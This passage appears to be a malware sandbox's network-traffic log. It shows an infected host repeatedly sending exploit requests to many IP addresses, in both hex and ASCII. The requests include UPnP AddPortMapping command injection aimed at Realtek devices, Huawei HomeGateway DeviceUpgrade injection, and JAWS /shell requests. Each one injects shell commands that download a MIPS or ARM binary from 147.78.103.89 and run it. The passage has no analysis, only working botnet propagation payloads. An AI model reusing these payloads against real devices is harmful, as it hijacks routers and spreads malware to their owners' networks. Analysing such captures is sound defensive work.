62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      157192.168.2.153867034.49.114.725501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:49.969532013 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      158192.168.2.153560234.43.218.1835501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:49.985796928 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      159192.168.2.1550708164.248.72.845501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:51.096132040 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      160192.168.2.1551034156.235.107.8337215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:51.372023106 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:55.607486010 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:01.751308918 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:13.782943010 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      161192.168.2.1541636185.85.15.14352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:53.025247097 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:53.559514046 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:54.647507906 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
